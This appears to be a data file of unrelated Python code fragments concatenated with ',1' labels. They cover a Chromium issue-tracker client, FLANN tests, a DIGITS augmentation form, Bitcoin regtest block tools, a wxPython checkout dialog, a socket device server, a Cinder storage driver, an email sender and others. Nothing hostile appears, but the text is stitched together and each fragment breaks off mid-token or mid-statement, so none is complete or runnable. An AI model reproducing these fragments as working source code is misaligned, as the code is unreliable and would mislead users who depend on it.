bug_comments.get('published'): return { 'comment': bug_comments.get('content'), 'timestamp': bug_comments.get('published') } return None def _MakeGetCommentsRequest(self, bug_id): """"""Make a request to the issue tracker to get comments in the bug."""""" # TODO (prasadv): By default the max number of comments retrieved in # one request is 100. Since bisect-fyi jobs may have more then 100 # comments for now we set this maxResults count as 10000. # Remove this max count once we find a way to clear old comments # on FYI issues. request = self._service.issues().comments().list( projectId='chromium', issueId=bug_id, maxResults=10000) return self._ExecuteRequest(request) def _ExecuteRequest(self, request): """"""Make a request to the issue tracker. Args: request: The request object, which has a execute method. Returns: The response if there was one, or else None. """""" try: response = request.execute(http=self._http) return response except errors.HttpError as e: logging.error(e) return None ",1 "ort * import unittest class Test_PyFLANN_nn(unittest.TestCase): def setUp(self): self.nn = FLANN(log_level=""warning"") ################################################################################ # The typical def test_nn_2d_10pt(self): self.__nd_random_test_autotune(2, 2) def test_nn_autotune_2d_1000pt(self): self.__nd_random_test_autotune(2, 1000) def test_nn_autotune_100d_1000pt(self): self.__nd_random_test_autotune(100, 1000) def test_nn_autotune_500d_100pt(self): self.__nd_random_test_autotune(500, 100) # # ########################################################################################## # # Stress it should handle # def test_nn_stress_1d_1pt_kmeans_autotune(self): self.__nd_random_test_autotune(1, 1) def __ensure_list(self,arg): if type(arg)!=list: return [arg] else: return arg def __nd_random_test_autotune(self, dim, N, num_neighbors = 1, **kwargs): """""" Make a set of random points, then pass the same ones to the query points. Each point should be closest to itself. """""" seed(0) x = rand(N, dim) xq = rand(N, dim) perm = permutation(N) # compute ground truth nearest neighbors gt_idx, gt_dist = self.nn.nn(x,xq, algorithm='linear', num_neighbors=num_neighbors) for tp in [0.70, 0.80, 0.90]: nidx,ndist = self.nn.nn(x, xq, algorithm='autotuned', sample_fraction=1.0, num_neighbors = num_neighbors, target_precision = tp, checks=-2, **kwargs) correctness = 0.0 for i in xrange(N): l1 = self.__ensure_list(nidx[i]) l2 = self.__ensure_list(gt_idx[i]) correctness += float(len(set(l1).intersection(l2)))/num_neighbors correctness /= N self.assert_(correctness >= tp*0.9, 'failed #1: targ_prec=%f, N=%d,correctness=%f' % (tp, N, correctness)) if __name__ == '__main__': unittest.main() ",1 "rms import ModelForm from digits import utils class ImageModelForm(ModelForm): """""" Defines the form used to create a new ImageModelJob """""" crop_size = utils.forms.IntegerField( 'Crop Size', validators=[ validators.NumberRange(min=1), validators.Optional() ], tooltip=(""If specified, during training a random square crop will be "" ""taken from the input image before using as input for the network."") ) use_mean = utils.forms.SelectField( 'Subtract Mean', choices=[ ('none', 'None'), ('image', 'Image'), ('pixel', 'Pixel'), ], default='image', tooltip=""Subtract the mean file or mean pixel for this dataset from each image."" ) aug_flip = utils.forms.SelectField( 'Flipping', choices=[ ('none', 'None'), ('fliplr', 'Horizontal'), ('flipud', 'Vertical'), ('fliplrud', 'Horizontal and/or Vertical'), ], default='none', tooltip=""Randomly flips each image during batch preprocessing."" ) aug_quad_rot = utils.forms.SelectField( 'Quadrilateral Rotation', choices=[ ('none', 'None'), ('rot90', '0, 90 or 270 degrees'), ('rot180', '0 or 180 degrees'), ('rotall', '0, 90, 180 or 270 degrees.'), ], default='none', tooltip=""Randomly rotates (90 degree steps) each image during batch preprocessing."" ) aug_rot = utils.forms.IntegerField( 'Rotation (+- deg)', default=0, validators=[ validators.NumberRange(min=0, max=180) ], tooltip=""The uniform-random rotation angle that will be performed during batch preprocessing."" ) aug_scale = utils.forms.FloatField( 'Rescale (stddev)', default=0, validators=[ validators.NumberRange(min=0, max=1) ], tooltip=(""Retaining image size, the image is rescaled with a "" ""+-stddev of this parameter. Suggested value is 0.07."") ) aug_noise = utils.forms.FloatField( 'Noise (stddev)', default=0, validators=[ validators.NumberRange(min=0, max=1) ], tooltip=(""Adds AWGN (Additive White Gaussian Noise) during batch "" ""preprocessing, assuming [0 1] pixel-value range. Suggested value is 0.03."") ) aug_hsv_use = utils.forms.BooleanField( 'HSV Shifting', default=False, tooltip=(""Augmentation by normal-distributed random shifts in HSV "" ""color space, assuming [0 1] pixel-value range.""), ) aug_hsv_h = utils.forms.FloatField( 'Hue', default=0.02, validators=[ validators.NumberRange(min=0, max=0.5) ], tooltip=(""Standard deviation of a shift that will be performed during "" ""preprocessing, assuming [0 1] pixel-value range."") ) aug_hsv_s = utils.forms.FloatField( 'Saturation', default=0.04, validators=[ validators.NumberRange(min=0, max=0.5) ], tooltip=(""Standard deviation of a shift that will be performed during "" ""preprocessing, assuming [0 1] pixel-value range."") ) aug_hsv_v = utils.forms.FloatField( 'Value', default=0.06, validators=[ validators.NumberRange(min=0, max=0.5) ], tooltip=(""Standard deviation of a shift that will be performed during "" ""preprocessing, assuming [0 1] pixel-value range."") ) ",1 " COPYING or http://www.opensource.org/licenses/mit-license.php. """"""Utilities for manipulating blocks and transactions."""""" import struct import time import unittest from .address import ( key_to_p2sh_p2wpkh, key_to_p2wpkh, script_to_p2sh_p2wsh, script_to_p2wsh, ) from .messages import ( CBlock, COIN, COutPoint, CTransaction, CTxIn, CTxInWitness, CTxOut, hash256, ser_uint256, tx_from_hex, uint256_from_str, ) from .script import ( CScript, CScriptNum, CScriptOp, OP_1, OP_CHECKMULTISIG, OP_CHECKSIG, OP_RETURN, OP_TRUE, ) from .script_util import ( key_to_p2wpkh_script, script_to_p2wsh_script, ) from .util import assert_equal WITNESS_SCALE_FACTOR = 4 MAX_BLOCK_SIGOPS = 20000 MAX_BLOCK_SIGOPS_WEIGHT = MAX_BLOCK_SIGOPS * WITNESS_SCALE_FACTOR # Genesis block time (regtest) TIME_GENESIS_BLOCK = 1296688602 # Coinbase transaction outputs can only be spent after this number of new blocks (network rule) COINBASE_MATURITY = 100 # Soft-fork activation heights DERSIG_HEIGHT = 102 # BIP 66 CLTV_HEIGHT = 111 # BIP 65 CSV_ACTIVATION_HEIGHT = 432 # From BIP141 WITNESS_COMMITMENT_HEADER = b""\xaa\x21\xa9\xed"" NORMAL_GBT_REQUEST_PARAMS = {""rules"": [""segwit""]} VERSIONBITS_LAST_OLD_BLOCK_VERSION = 4 def create_block(hashprev=None, coinbase=None, ntime=None, *, version=None, tmpl=None, txlist=None): """"""Create a block (with regtest difficulty)."""""" block = CBlock() if tmpl is None: tmpl = {} block.nVersion = version or tmpl.get('version') or VERSIONBITS_LAST_OLD_BLOCK_VERSION block.nTime = ntime or tmpl.get('curtime') or int(time.time() + 600) block.hashPrevBlock = hashprev or int(tmpl['previousblockhash'], 0x10) if tmpl and not tmpl.get('bits') is None: block.nBits = struct.unpack('>I', bytes.fromhex(tmpl['bits']))[0] else: block.nBits = 0x207fffff # difficulty retargeting is disabled in REGTEST chainparams if coinbase is None: coinbase = create_coinbase(height=tmpl['height']) block.vtx.append(coinbase) if txlist: for tx in txlist: if not hasattr(tx, 'calc_sha256'): tx = tx_from_hex(tx) block.vtx.append(tx) block.hashMerkleRoot = block.calc_merkle_root() block.calc_sha256() return block def get_witness_script(witness_root, witness_nonce): witness_commitment = uint256_from_str(hash256(ser_uint256(witness_root) + ser_uint256(witness_nonce))) output_data = WITNESS_COMMITMENT_HEADER + ser_uint256(witness_commitment) return CScript([OP_RETURN, output_data]) def add_witness_commitment(block, nonce=0): """"""Add a witness commitment to the block's coinbase transaction. According to BIP141, blocks with witness rules active must commit to the hash of all in-block transactions including witness."""""" # First calculate the merkle root of the block's # transactions, with witnesses. witness_nonce = nonce witness_root = block.calc_witness_merkle_root() # witness_nonce should go to coinbase witness. block.vtx[0].wit.vtxinwit = [CTxInWitness()] block.vtx[0].wit.vtxinwit[0].scriptWitness.stack = [ser_uint256(witness_nonce)] # witness commitment is the last OP_RETURN output in coinbase block.vtx[0].vout.append(CTxOut(0, get_witness_script(witness_root, witness_nonce))) block.vtx[0].rehash() block.hashMerkleRoot = block.calc_merkle_root() block.rehash() def script_BIP34_coinbase_height(height): if height <= 16: res = CScriptOp.encode_op_n(height) # Append dummy to increase scriptSig size above 2 (see bad-cb-length consensus rule) return CScript([res, OP_1]) return CScript([CScriptNum(height)]) def create_coinbase(height, pubkey=None, extra_output_script=None, fees=0, nValue=50): """"""Create a coinbase transaction. If pubkey is passed in, the coinbase output will be a P2PK output; otherwise an anyone-can-spend output. If extra_output_script is given, make a 0-value output to that script. This is useful to pad block weight/sigops as needed. """""" coinbase = CTransaction() coinbase.vin.append(CTxIn(COutPoint(0, 0xffffffff), script_BIP34_coinbase_height(height), 0xffffffff)) coinbaseoutput = CTxOut() coinbaseoutput.nValue = nValue * COIN if nValue == 50: halvings = int(height / 150) # regtest coinbaseoutput.nValue >>= halvings coinbaseoutput.nValue += fees if pubkey is not None: coinbaseoutput.scriptPubKey = CScript([pubkey, OP_CHECKSIG]) else: coinbaseoutput.scriptPubKey = CScript([OP_TRUE]) coinbase.vout = [coinbaseoutput] if extra_output_script is not None: coinbaseoutput2 = CTxOut() coinbaseoutput2.nValue = 0 coinbaseoutput2.scriptPubKey = extra_output_script coinbase.vout.append(coinbaseoutput2) coinbase.calc_sha256() return coinbase def create_tx_with_script(prevtx, n, script_sig=b"""", *, amount, script_pub_key=CScript()): """"""Return one-input, one-output transaction object spending the prevtx's n-th output with the given amount. Can optionally pass scriptPubKey and scriptSig, default is anyone-can-spend output. """""" tx = CTransaction() assert n < len(prevtx.vout) tx.vin.append(CTxIn(COutPoint(prevtx.sha256, n), script_sig, 0xffffffff)) tx.vout.append(CTxOut(amount, script_pub_key)) tx.calc_sha256() return tx def create_transaction(node, txid, to_address, *, amount): """""" Return signed transaction spending the first output of the input txid. Note that the node must have a wallet that can sign for the output that is being spent. """""" raw_tx = create_raw_transaction(node, txid, to_address, amount=amount) tx = tx_from_hex(raw_tx) return tx def create_raw_transaction(node, txid, to_address, *, amount): """""" Return raw signed transaction spending the first output of the input txid. Note that the node must have a wallet that can sign for the output that is being spent. """""" psbt = node.createpsbt(inputs=[{""txid"": txid, ""vout"": 0}], outputs={to_address: amount}) for _ in range(2): for w in node.listwallets(): wrpc = node.get_wallet_rpc(w) signed_psbt = wrpc.walletprocesspsbt(psbt) psbt = signed_psbt['psbt'] final_psbt = node.finalizepsbt(psbt) assert_equal(final_psbt[""complete""], True) return final_psbt['hex'] def get_legacy_sigopcount_block(block, accurate=True): count = 0 for tx in block.vtx: count += get_legacy_sigopcount_tx(tx, accurate) return count def get_legacy_sigopcount_tx(tx, accurate=True): count = 0 for i in tx.vout: count += i.scriptPubKey.GetSigOpCount(accurate) for j in tx.vin: # scriptSig might be of type bytes, so convert to CScript for the moment count += CScript(j.scriptSig).GetSigOpCount(accurate) return count def witness_script(use_p2wsh, pubkey): """"""Create a scriptPubKey for a pay-to-witness TxOut. This is either a P2WPKH output for the given pubkey, or a P2WSH output of a 1-of-1 multisig for the given pubkey. Returns the hex encoding of the scriptPubKey."""""" if not use_p2wsh: # P2WPKH instead pkscript = key_to_p2wpkh_script(pubkey) else: # 1-of-1 multisig witness_script = CScript([OP_1, bytes.fromhex(pubkey), OP_1, OP_CHECKMULTISIG]) pkscript = script_to_p2wsh_script(witness_script) return pkscript.hex() def create_witness_tx(node, use_p2wsh, utxo, pubkey, encode_p2sh, amount): """"""Return a transaction (in hex) that spends the given utxo to a segwit output. Optionally wrap the segwit output using P2SH."""""" if use_p2wsh: program = CScript([OP_1, bytes.fromhex(pubkey), OP_1, OP_CHECKMULTISIG]) addr = script_to_p2sh_p2wsh(program) if encode_p2sh else script_to_p2wsh(program) else: addr = key_to_p2sh_p2wpkh(pubkey) if encode_p2sh else key_to_p2wpkh(pubkey) if not encode_p2sh: assert_equal(node.getaddressinfo(addr)['scriptPubKey'], witness_script(use_p2wsh, pubkey)) return node.createrawtransaction([utxo], {addr: amount}) def send_to_witness(use_p2wsh, node, utxo, pubkey, encode_p2sh, amount, sign=True, insert_redeem_script=""""): """"""Create a transaction spending a given utxo to a segwit output. The output corresponds to the given pubkey: use_p2wsh determines whether to use P2WPKH or P2WSH; encode_p2sh determines whether to wrap in P2SH. sign=True will have the given node sign the transaction. insert_redeem_script will be added to the scriptSig, if given."""""" tx_to_witness = create_witness_tx(node, use_p2wsh, utxo, pubkey, encode_p2sh, amount) if (sign): signed = node.signrawtransactionwithwallet(tx_to_witness) assert ""errors"" not in signed or len([""errors""]) == 0 return node.sendrawtransaction(signed[""hex""]) else: if (insert_redeem_script): tx = tx_from_hex(tx_to_witness) tx.vin[0].scriptSig += CScript([bytes.fromhex(insert_redeem_script)]) tx_to_witness = tx.serialize().hex() return node.sendrawtransaction(tx_to_witness) class TestFrameworkBlockTools(unittest.TestCase): def test_create_coinbase(self): height = 20 coinbase_tx = create_coinbase(height=height) assert_equal(CScriptNum.decode(coinbase_tx.vin[0].scriptSig), height) ",1 "er the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of the # License, or any later version. # Infoshopkeeper is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # You should have received a copy of the GNU General Public License # along with Infoshopkeeper; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 # USA from wxPython.wx import * import os import datetime from objects.emprunt import Emprunt from popups.members import AddMemberPanel, ShowMembersPanel class CheckoutPopup(wxDialog): def __init__(self, parent): self.parent=parent wxDialog.__init__(self, parent,-1,""Check out items"") self.mastersizer = wxBoxSizer(wxVERTICAL) self.static1 = wxStaticText(self, -1, ""Check out to :"") self.mastersizer.Add(self.static1) self.notebook = wxNotebook(self, -1, style=wxNB_TOP) self.new_member_panel = AddMemberPanel(parent=self.notebook, main_window=parent, on_successful_add=self.Borrow, cancel=self.Close) self.notebook.AddPage(self.new_member_panel, ""New member"") self.show_member_panel = ShowMembersPanel(parent=self.notebook, main_window=parent, motherDialog=self, on_select=self.Borrow) self.notebook.AddPage(self.show_member_panel, ""Existing member"") self.mastersizer.Add(self.notebook) self.SetSizer(self.mastersizer) for i in self.parent.orderbox.items: print i.database_id, ""... "", i.id #self.b = wxButton(self, -1, ""Checkout"", (15, 80)) #EVT_BUTTON(self, self.b.GetId(), self.Checkout) #self.b.SetDefault() self.mastersizer.SetSizeHints(self) def Borrow(self, id): borrower = self.parent.membersList.get(id) print borrower for i in self.parent.orderbox.items: # Check if this work on sqlobject 0.7... I got # lots of problem on 0.6.1, and itemID __isn't__ # defined in emprunt, which is plain weirdness e = Emprunt(borrower = id, itemID=i.database_id) print i.database_id self.parent.orderbox.setBorrowed() self.parent.orderbox.void() self.Close() def OnCancel(self,event): self.EndModal(1) def Checkout(self,event): borrower=self.borrower.GetValue() if len(borrower)>0: today=""%s"" % datetime.date.today() self.parent.orderbox.change_status(today+""-""+borrower) self.parent.orderbox.void() self.Close() ",1 "ame='x_node') y_node = tf.random_uniform([1], minval=-1, maxval=1, dtype=tf.float32, name='y_node') times = 5000 hits = 0 pis = [] with tf.Session() as session: for i in range(1, times): x = session.run(x_node) y = session.run(y_node) if x*x + y*y < 1: hits += 1 pass pi = 4 * float(hits) / i print(pi) pis.append(pi) pass pass plt.plot(pis) plt.plot([0, times], [math.pi, math.pi]) plt.show() ",1 "_device: #Forward constants NO_PARAM = hazc_cmd.NO_PARAM BOOL = hazc_cmd.BOOL FLOAT = hazc_cmd.FLOAT STRING = hazc_cmd.STRING INT = hazc_cmd.INT global running running = False def __init__(self, ipaddr): self.version = ""0.1"" self.config = configparser.ConfigParser() self.config.read('config.ini') self.MSGLEN = 1024 self.END_OF_MSG = '*' self.ip = ipaddr self.buffer = 20 # self.commands = {'version?':self.version_cmd,'commands?':self.commands_cmd,'status?':self.status_cmd} hcvc = hazc_cmd.hazc_cmd('version?', self.version_cmd, self.NO_PARAM) hccc = hazc_cmd.hazc_cmd('commands?', self.commands_cmd, self.NO_PARAM) hcsc = hazc_cmd.hazc_cmd('status?', self.status_cmd, self.STRING) self.commands = {'version': hcvc, 'commands': hccc, 'status': hcsc} # probably want to add a debug log status self.status = {'exec_status': self.exec_status} #Adds a function - not as preferred as addControl #Does NOT auto add status def addFunction(self, name, handler, paramtype): # pdb.settrace() #log(""This is not the preferred way to add controls, see addControl"") if not('?' in name or '!' in name): # log(""Function name requires a '?' or '!', assuming '!'"") name += '!' self.commands[name] = hazc_cmd.hazc_cmd(name, handler, paramtype) #Adds a control vector #controlname should just be a name like 'temp' or 'position' - it'll be the same for the status def addControl(self, controlname, handler, statushandler, paramtype=NO_PARAM): cmd_name = 'set-'+controlname self.commands[cmd_name] = hazc_cmd.hazc_cmd(cmd_name+'?', handler, paramtype) self.addStatus(controlname, statushandler) #adds a unique status not already included in control vector. name is just the name, as in 'temp' def addStatus(self, name, handler): self.status[name] = handler def advertise(self): postfix = self.config['global']['service_prefix'] self.port = int(self.config['global']['port']) #print(self.config['device']['hostname']+postfix) info = ServiceInfo(postfix, self.config['device']['hostname']+"".""+postfix, socket.inet_aton(self.ip), self.port, 0, 0, {'info': self.config['device']['description']}, ""hazc.local."") self.bindConnection() zeroconf = Zeroconf() zeroconf.register_service(info) try: while True: # try: print(""Ready"") self.conn, self.addr = self.webcontrol.accept() self.listen() self.conn.close() except KeyboardInterrupt: pass finally: print() print(""Unregistering..."") zeroconf.unregister_service(info) zeroconf.close() try: print(""Shutting down socket"") self.webcontrol.shutdown(socket.SHUT_RDWR) except Exception as e: print(e) def listen(self): data = bytes() rbytes = 0 while rbytes < self.MSGLEN: d = self.conn.recv(self.buffer) if not d: break data += d rbytes += len(d) # print data.decode('utf-8') self.handledata(data) def handledata(self, data): command, param = self.cleanandstringdata(data) print('->' + command + ';' + param) # replystr = ""ERROR"" try: replystr = self.commands[command].execute(param) except KeyError: if(command==''): command = ""(empty string)"" print(""ERROR! Unknown command: "" + command) replystr = """" # replystr = self.commands['version'].execute('') if(replystr == None): print(""WARNING! "" + command + "" should return a string to send to the master. Sending 'NO_REPLY'"") replystr = 'NO_REPLY' print(replystr) self.reply(replystr) def reply(self, msg): longmsg = msg while len(longmsg) < self.MSGLEN: longmsg += self.END_OF_MSG # print(longmsg) self.conn.send(longmsg.encode('utf-8')) def cleanandstringdata(self, data): dstr = data.decode('utf-8') full = dstr.strip(self.END_OF_MSG) if '?' in full: li = full.split('?') param = li[-1] cmd = li[0] elif '!' in full: li = full.split('!') param = li[-1] cmd = li[0] else: param = '' cmd = full return (cmd, param) def bindConnection(self): try: self.webcontrol = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.webcontrol.bind((self.ip, self.port)) self.webcontrol.listen(1) except OSError as e: print(e) quit() def exec_status(self): return ""Running"" def version_cmd(self): return self.version def paramtype_tostring(self, paramnum): if paramnum == self.BOOL: return 'BOOL' elif paramnum == self.FLOAT: return 'FLOAT' elif paramnum == self.STRING: return 'STRING' elif paramnum == self.INT: return 'INT' else: return 'PARAM_ERROR' def commands_cmd(self): rstr = """" for key in self.commands: rstr += key if self.commands[key].paramtype is not self.NO_PARAM: # pdb.set_trace() rstr += ':' + self.paramtype_tostring(self.commands[key].paramtype) rstr += "";"" return rstr def status_cmd(self, specific_status=''): str = '' if len(specific_status) > 0: str = self.status[specific_status] else: for st in self.status: str += st + ',' + self.status[st]() + ';' return str[:self.MSGLEN-1] # Some debugging methods def debug_cmds(self): print(""Commands: "" + str(self.commands)) print(""Statuses: "" + str(self.status))",1 "################################################################ WLAN_MODE = 'off' #WLAN_SSID = '' #WLAN_AUTH = (WLAN.WPA2,'') ############################################################################### # LoRaWAN Configuration ############################################################################### # May be either 'otaa', 'abp', or 'off' LORA_MODE = 'otaa' # Settings for mode 'otaa' LORA_OTAA_EUI = '70B3D57EF0001ED4' LORA_OTAA_KEY = None # See README.md for instructions! # Settings for mode 'abp' #LORA_ABP_DEVADDR = '' #LORA_ABP_NETKEY = '' #LORA_ABP_APPKEY = '' # Interval between measures transmitted to TTN. # Measured airtime of transmission is 56.6 ms, fair use policy limits us to # 30 seconds per day (= roughly 500 messages). We default to a 180 second # interval (=480 messages / day). LORA_SEND_RATE = 180 ############################################################################### # GNSS Configuration ############################################################################### GNSS_UART_PORT = 1 GNSS_UART_BAUD = 9600 GNSS_ENABLE_PIN = 'P8' ",1 "rther details see the COPYING file from __future__ import absolute_import import re import abc class AddressbookError(Exception): pass class AddressBook(object): """"""can look up email addresses and realnames for contacts. .. note:: This is an abstract class that leaves :meth:`get_contacts` unspecified. See :class:`AbookAddressBook` and :class:`ExternalAddressbook` for implementations. """""" __metaclass__ = abc.ABCMeta def __init__(self, ignorecase=True): self.reflags = re.IGNORECASE if ignorecase else 0 @abc.abstractmethod def get_contacts(self): # pragma no cover """"""list all contacts tuples in this abook as (name, email) tuples"""""" return [] def lookup(self, query=''): """"""looks up all contacts where name or address match query"""""" res = [] query = re.compile('.*%s.*' % query, self.reflags) for name, email in self.get_contacts(): if query.match(name) or query.match(email): res.append((name, email)) return res ",1 "me/? )"" __author_email__ = ""lorenzo@setale.me"" __license__ = ""LGPL v3"" __copyright__ = ""Copyright (c) 2012-2020 Lorenzo Setale"" from .Manager import Manager from .Droplet import Droplet, DropletError, BadKernelObject, BadSSHKeyFormat from .Region import Region from .Size import Size from .Image import Image from .Action import Action from .Account import Account from .Balance import Balance from .Domain import Domain from .Record import Record from .SSHKey import SSHKey from .Kernel import Kernel from .FloatingIP import FloatingIP from .Volume import Volume from .baseapi import Error, EndPointError, TokenError, DataReadError, NotFoundError from .Tag import Tag from .LoadBalancer import LoadBalancer from .LoadBalancer import StickySessions, ForwardingRule, HealthCheck from .Certificate import Certificate from .Snapshot import Snapshot from .Project import Project from .Firewall import Firewall, InboundRule, OutboundRule, Destinations, Sources from .VPC import VPC ",1 "ensed under the Apache License, Version 2.0 (the ""License""); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # """""" FibreChannel Cinder Volume driver for Fujitsu ETERNUS DX S3 series. """""" from oslo_log import log as logging import six from cinder import interface from cinder.volume import driver from cinder.volume.drivers.fujitsu import eternus_dx_common from cinder.zonemanager import utils as fczm_utils LOG = logging.getLogger(__name__) @interface.volumedriver class FJDXFCDriver(driver.FibreChannelDriver): """"""FC Cinder Volume Driver for Fujitsu ETERNUS DX S3 series."""""" # ThirdPartySystems wiki page CI_WIKI_NAME = ""Fujitsu_ETERNUS_CI"" VERSION = eternus_dx_common.FJDXCommon.VERSION def __init__(self, *args, **kwargs): super(FJDXFCDriver, self).__init__(*args, **kwargs) self.common = eternus_dx_common.FJDXCommon( 'fc', configuration=self.configuration) self.VERSION = self.common.VERSION def check_for_setup_error(self): pass def create_volume(self, volume): """"""Create volume."""""" LOG.debug('create_volume, ' 'volume id: %s, enter method.', volume['id']) location, metadata = self.common.create_volume(volume) v_metadata = self._get_metadata(volume) metadata.update(v_metadata) LOG.debug('create_volume, info: %s, exit method.', metadata) return {'provider_location': six.text_type(location), 'metadata': metadata} def create_volume_from_snapshot(self, volume, snapshot): """"""Creates a volume from a snapshot."""""" LOG.debug('create_volume_from_snapshot, ' 'volume id: %(vid)s, snap id: %(sid)s, enter method.', {'vid': volume['id'], 'sid': snapshot['id']}) location, metadata = ( self.common.create_volume_from_snapshot(volume, snapshot)) v_metadata = self._get_metadata(volume) metadata.update(v_metadata) LOG.debug('create_volume_from_snapshot, ' 'info: %s, exit method.', metadata) return {'provider_location': six.text_type(location), 'metadata': metadata} def create_cloned_volume(self, volume, src_vref): """"""Create cloned volume."""""" LOG.debug('create_cloned_volume, ' 'target volume id: %(tid)s, ' 'source volume id: %(sid)s, enter method.', {'tid': volume['id'], 'sid': src_vref['id']}) location, metadata = ( self.common.create_cloned_volume(volume, src_vref)) v_metadata = self._get_metadata(volume) metadata.update(v_metadata) LOG.debug('create_cloned_volume, ' 'info: %s, exit method.', metadata) return {'provider_location': six.text_type(location), 'metadata': metadata} def delete_volume(self, volume): """"""Delete volume on ETERNUS."""""" LOG.debug('delete_volume, ' 'volume id: %s, enter method.', volume['id']) vol_exist = self.common.delete_volume(volume) LOG.debug('delete_volume, ' 'delete: %s, exit method.', vol_exist) def create_snapshot(self, snapshot): """"""Creates a snapshot."""""" LOG.debug('create_snapshot, ' 'snap id: %(sid)s, volume id: %(vid)s, enter method.', {'sid': snapshot['id'], 'vid': snapshot['volume_id']}) location, metadata = self.common.create_snapshot(snapshot) LOG.debug('create_snapshot, info: %s, exit method.', metadata) return {'provider_location': six.text_type(location)} def delete_snapshot(self, snapshot): """"""Deletes a snapshot."""""" LOG.debug('delete_snapshot, ' 'snap id: %(sid)s, volume id: %(vid)s, enter method.', {'sid': snapshot['id'], 'vid': snapshot['volume_id']}) vol_exist = self.common.delete_snapshot(snapshot) LOG.debug('delete_snapshot, ' 'delete: %s, exit method.', vol_exist) def ensure_export(self, context, volume): """"""Driver entry point to get the export info for an existing volume."""""" return def create_export(self, context, volume, connector): """"""Driver entry point to get the export info for a new volume."""""" return def remove_export(self, context, volume): """"""Driver entry point to remove an export for a volume."""""" return @fczm_utils.AddFCZone def initialize_connection(self, volume, connector): """"""Allow connection to connector and return connection info."""""" LOG.debug('initialize_connection, volume id: %(vid)s, ' 'wwpns: %(wwpns)s, enter method.', {'vid': volume['id'], 'wwpns': connector['wwpns']}) info = self.common.initialize_connection(volume, connector) data = info['data'] init_tgt_map = ( self.common.build_fc_init_tgt_map(connector, data['target_wwn'])) data['initiator_target_map'] = init_tgt_map info['data'] = data LOG.debug('initialize_connection, ' 'info: %s, exit method.', info) return info @fczm_utils.RemoveFCZone def terminate_connection(self, volume, connector, **kwargs): """"""Disallow connection from connector."""""" LOG.debug('terminate_connection, volume id: %(vid)s, ' 'wwpns: %(wwpns)s, enter method.', {'vid': volume['id'], 'wwpns': connector['wwpns']}) map_exist = self.common.terminate_connection(volume, connector) attached = self.common.check_attached_volume_in_zone(connector) info = {'driver_volume_type': 'fibre_channel', 'data': {}} if not attached: # No more volumes attached to the host init_tgt_map = self.common.build_fc_init_tgt_map(connector) info['data'] = {'initiator_target_map': init_tgt_map} LOG.debug('terminate_connection, unmap: %(unmap)s, ' 'connection info: %(info)s, exit method', {'unmap': map_exist, 'info': info}) return info def get_volume_stats(self, refresh=False): """"""Get volume stats."""""" LOG.debug('get_volume_stats, refresh: %s, enter method.', refresh) pool_name = None if refresh is True: data, pool_name = self.common.update_volume_stats() backend_name = self.configuration.safe_get('volume_backend_name') data['volume_backend_name'] = backend_name or 'FJDXFCDriver' data['storage_protocol'] = 'FC' self._stats = data LOG.debug('get_volume_stats, ' 'pool name: %s, exit method.', pool_name) return self._stats def extend_volume(self, volume, new_size): """"""Extend volume."""""" LOG.debug('extend_volume, ' 'volume id: %s, enter method.', volume['id']) used_pool_name = self.common.extend_volume(volume, new_size) LOG.debug('extend_volume, ' 'used pool name: %s, exit method.', used_pool_name) def _get_metadata(self, volume): v_metadata = volume.get('volume_metadata') if v_metadata: ret = {data['key']: data['value'] for data in v_metadata} else: ret = volume.get('metadata', {}) return ret ",1 "nsert(0,trunk_dir) from ikol.dbregister import DataBase from ikol import var if os.path.exists(var.DB_PATH): os.remove(var.DB_PATH) DB = DataBase(var.DB_PATH) DB.insertPlaylist(""loLWOCl7nlk"",""test"") DB.insertPlaylist(""loLWO357nlk"",""testb"") DB.insertVideo(""KDk2341oEQQ"",""loLWOCl7nlk"",""test"") DB.insertVideo(""KDktIWeoE23"",""loLWOCl7nlk"",""testb"") print DB.getAllVideosByPlaylist(""loLWOCl7nlk"") print DB.getVideoById(""KDk2341oEQQ"")",1 "klearn.cluster import DBSCAN from sklearn import metrics from sklearn.datasets.samples_generator import make_blobs from sklearn.preprocessing import StandardScaler from sklearn import decomposition # PCA from sklearn.metrics import confusion_matrix import json import ml.Features as ft from utils import Utils class Identifier(object): def __init__(self): columns = ['mean_height', 'min_height', 'max_height', 'mean_width', 'min_width', 'max_width', 'time', 'girth','id'] self.data = DataFrame(columns=columns) self.event = [] @staticmethod def subscribe(ch, method, properties, body): """""" prints the body message. It's the default callback method :param ch: keep null :param method: keep null :param properties: keep null :param body: the message :return: """""" #first we get the JSON from body #we check if it's part of the walking event #if walking event is completed, we if __name__ == '__main__': # we setup needed params MAX_HEIGHT = 203 MAX_WIDTH = 142 SPEED = 3 SAMPLING_RATE = 8 mq_host = '172.26.56.122' queue_name = 'door_data' # setting up MQTT subscriber Utils.sub(queue_name=queue_name,callback=subscribe,host=mq_host)",1 "pt in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from email.mime import text import email.utils import smtplib import socket import mailjet_rest from scoreboard import main app = main.get_app() class MailFailure(Exception): """"""Inability to send mail."""""" pass def send(message, subject, to, to_name=None, sender=None, sender_name=None): """"""Send an email."""""" sender = sender or app.config.get('MAIL_FROM') sender_name = sender_name or app.config.get('MAIL_FROM_NAME') or '' mail_provider = app.config.get('MAIL_PROVIDER') if mail_provider is None: app.logger.error('No MAIL_PROVIDER configured!') raise MailFailure('No MAIL_PROVIDER configured!') elif mail_provider == 'smtp': _send_smtp(message, subject, to, to_name, sender, sender_name) elif mail_provider == 'mailjet': _send_mailjet(message, subject, to, to_name, sender, sender_name) else: app.logger.error('Invalid MAIL_PROVIDER configured!') raise MailFailure('Invalid MAIL_PROVIDER configured!') def _send_smtp(message, subject, to, to_name, sender, sender_name): """"""SMTP implementation of sending email."""""" host = app.config.get('MAIL_HOST') if not host: raise 